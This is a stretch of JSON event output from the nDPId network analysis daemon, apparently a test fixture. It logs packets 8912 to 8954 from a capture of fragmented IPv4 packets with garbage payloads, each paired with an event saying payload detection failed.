+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213296,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213309,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213322,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213334,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213345,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213363,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213376,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213388,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213400,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213413,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213425,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213436,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213448,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213460,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213473,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213485,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213497,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213510,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213521,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213533,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213545,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213557,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213568,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213580,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213592,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213606,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213618,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213630,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213643,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213655,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213667,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213679,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213692,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213704,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213715,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213727,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213739,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213752,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8949,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213763,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8950,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213776,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8951,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213788,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8952,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213800,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8953,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8954,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":213812,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} 